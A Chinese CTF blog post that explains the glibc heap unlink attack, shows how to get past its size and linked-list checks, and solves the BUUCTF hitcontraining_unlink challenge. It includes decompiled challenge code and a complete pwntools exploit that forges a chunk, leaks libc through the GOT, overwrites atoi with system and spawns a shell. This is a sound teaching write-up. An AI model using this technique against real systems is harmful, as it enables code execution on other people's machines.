Unlink
推迟了好久的unlink今天终于把它看了一下。下面是从CTFwiki上拿过来的unlink过程的图片,感觉已经很详细了。
附上unlink的源码
1 #define unlink(P, BK, FD) \ 2 { \ 3 BK = P->bk; \ 4 FD = P->fd; \ 5 FD->bk = BK; \ 6 BK->fd = FD; \ 7 } \
简单地说就是
//首先根据p的fd和bk来获得双向链表下一个 chunk BK和上一个chunk FD 再设置FD->bk=BK 及 BK->fd=FD
以下是对unlink的检查
1 // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
2 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
3 malloc_printerr ("corrupted size vs. prev_size"); \
4
5 // 检查 fd 和 bk 指针(双向链表完整性检查,检查p和其前后的chunk是否构成双向链表)
6 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
7 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
我们要做的就是绕过对size和对链表完整性的检查。size的检查很好绕过,下面我讲一下怎么绕过对链表完整性的检查。
假设bss段上有存储堆地址的空间,并且第一个堆地址(chunk0)被存放在heapbss=0x6020d0 处即*(0x6020d0)=chunk0,这里我们把chunk0记为p
此时我们可以伪造FD=p->fd=0x6020b8 BK=p->bk==0x6020c0
1if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) //FD->bk=*(0x6020d0)=p 且 BK->fd=*(0x6020d0)=p 成功绕过 2 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
那我们就会执行unlink操作使得FD->bk=BK 及 BK->fd=FD
那我们最终的结果就是向heapbss里写入了bss-0x18的值。从而使heapbss附近有可写地址,实现任意写。
下面拿一个例题BUUCTF hitcontraining_unlink
经典的菜单题
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 void (**v4)(void); // [rsp+8h] [rbp-18h] 4 char buf[8]; // [rsp+10h] [rbp-10h] BYREF 5 unsigned __int64 v6; // [rsp+18h] [rbp-8h] 6 7 v6 = __readfsqword(0x28u); 8 setvbuf(stdout, 0LL, 2, 0LL); 9 setvbuf(stdin, 0LL, 2, 0LL); 10 v4 = (void (**)(void))malloc(0x10uLL); 11 *v4 = (void (*)(void))hello_message; 12 v4[1] = (void (*)(void))goodbye_message; 13 (*v4)(); 14 while ( 1 ) 15 { 16 menu(); 17 read(0, buf, 8uLL); 18 switch ( atoi(buf) ) 19 { 20 case 1: 21 show_item(); 22 break; 23 case 2: 24 add_item(); 25 break; 26 case 3: 27 change_item(); 28 break; 29 case 4: 30 remove_item(); 31 break; 32 case 5: 33 v4[1](); 34 exit(0); 35 default: 36 puts("invaild choice!!!"); 37 break; 38 } 39 } 40 }
show函数
1 int show_item() 2 { 3 int i; // [rsp+Ch] [rbp-4h] 4 5 if ( !num ) 6 return puts("No item in the box"); 7 for ( i = 0; i <= 99; ++i ) 8 { 9 if ( *(_QWORD *)&itemlist[4 * i + 2] ) 10 printf("%d : %s", (unsigned int)i, *(const char **)&itemlist[4 * i + 2]); 11 } 12 return puts(byte_401089); 13 }
add函数
__int64 add_item() { int i; // [rsp+4h] [rbp-1Ch] int v2; // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( num > 99 ) { puts("the box is full"); } else { printf("Please enter the length of item name:"); read(0, buf, 8uLL); v2 = atoi(buf); if ( !v2 ) { puts("invaild length"); return 0LL; } for ( i = 0; i <= 99; ++i ) { if ( !*(_QWORD *)&itemlist[4 * i + 2] ) { itemlist[4 * i] = v2; *(_QWORD *)&itemlist[4 * i + 2] = malloc(v2); printf("Please enter the name of item:"); *(_BYTE *)(*(_QWORD *)&itemlist[4 * i + 2] + (int)read(0, *(void **)&itemlist[4 * i + 2], v2)) = 0; ++num; return 0LL; } } } return 0LL; }
edit函数:这个函数存在堆溢出漏洞
1 unsigned __int64 change_item() 2 { 3 int v1; // [rsp+4h] [rbp-2Ch] 4 int v2; // [rsp+8h] [rbp-28h] 5 char buf[16]; // [rsp+10h] [rbp-20h] BYREF 6 char nptr[8]; // [rsp+20h] [rbp-10h] BYREF 7 unsigned __int64 v5; // [rsp+28h] [rbp-8h] 8 9 v5 = __readfsqword(0x28u); 10 if ( num ) 11 { 12 printf("Please enter the index of item:"); 13 read(0, buf, 8uLL); 14 v1 = atoi(buf); 15 if ( *(_QWORD *)&itemlist[4 * v1 + 2] ) 16 { 17 printf("Please enter the length of item name:"); 18 read(0, nptr, 8uLL); 19 v2 = atoi(nptr); 20 printf("Please enter the new name of the item:"); 21 *(_BYTE *)(*(_QWORD *)&itemlist[4 * v1 + 2] + (int)read(0, *(void **)&itemlist[4 * v1 + 2], v2)) = 0;//这里并没有对长度进行检查 22 } 23 else 24 { 25 puts("invaild index"); 26 } 27 } 28 else 29 { 30 puts("No item in the box"); 31 } 32 return __readfsqword(0x28u) ^ v5; 33 }
delete函数
1 unsigned __int64 remove_item() 2 { 3 int v1; // [rsp+Ch] [rbp-14h] 4 char buf[8]; // [rsp+10h] [rbp-10h] BYREF 5 unsigned __int64 v3; // [rsp+18h] [rbp-8h] 6 7 v3 = __readfsqword(0x28u); 8 if ( num ) 9 { 10 printf("Please enter the index of item:"); 11 read(0, buf, 8uLL); 12 v1 = atoi(buf); 13 if ( *(_QWORD *)&itemlist[4 * v1 + 2] ) 14 { 15 free(*(void **)&itemlist[4 * v1 + 2]); 16 *(_QWORD *)&itemlist[4 * v1 + 2] = 0LL; 17 itemlist[4 * v1] = 0; 18 puts("remove successful!!"); 19 --num; 20 } 21 else 22 { 23 puts("invaild index"); 24 } 25 } 26 else 27 { 28 puts("No item in the box"); 29 } 30 return __readfsqword(0x28u) ^ v3; 31 }
下面直接贴上我的exp
1 from pwn import * 2 context.log_level='debug' 3 context.arch='amd64' 4 5 #s=remote('node4.buuoj.cn',28938) 6 s=process('./hitcontraining-unlink') 7 libc=ELF('./libc-2.23.so') 8 9 magic=0x400D49 10 puts_plt=0x4006E0 11 free_plt=0x4006D0 12 13 atoi_got=0x602068 14 free_got=0x602018 15 16 def show(): 17 s.recvuntil(b'Your choice:') 18 s.sendline(b'1') 19 20 def add(length,name): 21 s.recvuntil(b'Your choice:') 22 s.sendline(b'2') 23 s.recvuntil(b'Please enter the length of item name:') 24 s.sendline(str(length)) 25 s.recvuntil(b'Please enter the name of item:') 26 s.sendline(name) 27 28 def edit(index,length,name): 29 s.recvuntil(b'Your choice:') 30 s.sendline(b'3') 31 s.recvuntil(b'Please enter the index of item:') 32 s.sendline(str(index)) 33 s.recvuntil(b'Please enter the length of item name:') 34 s.sendline(str(length)) 35 s.recvuntil(b'Please enter the new name of the item:') 36 s.sendline(name) 37 38 def delete(index): 39 s.recvuntil(b'Your choice:') 40 s.sendline(b'4') 41 s.recvuntil(b'Please enter the index of item:') 42 s.sendline(str(index)) 43 44 add(0x30,b'\x10'*4)#0 45 add(0xf0,b'\x11'*4)#1 46 add(0x100,b'\x12'*4)#2 47 add(0x100,b'\x13'*4)#3 48 49 fd=0x6020c8-0x18 50 bk=0x6020c8-0x10 51 52 payload=p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)+p64(0)+p64(0x30)+p64(0x100) 53 edit(0,0x50,payload) 54 delete(1) 55 gdb.attach(s) 56 payload=p64(0)+p64(0) 57 payload+=p64(0)+p64(atoi_got) 58 edit(0,0x30,payload) 59 60 show() 61 s.recvuntil(b'0 : ') 62 libc_base=u64(s.recv(6).ljust(8,b'\x00'))-libc.sym['atoi'] 63 system_addr=libc_base+libc.sym['system'] 64 65 payload=p64(system_addr) 66 edit(0,0x10,payload) 67 68 69 #gdb.attach(s) 70 71 s.sendlineafter(b'Your choice:',b'/bin/sh\x00') 72 s.interactive()
参考链接:
大康师傅 https://blog.csdn.net/abel_big_xu/article/details/109632899
Angel~Yan师傅 https://blog.csdn.net/mcmuyanga/article/details/112602827
CTFwiki https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15693566.html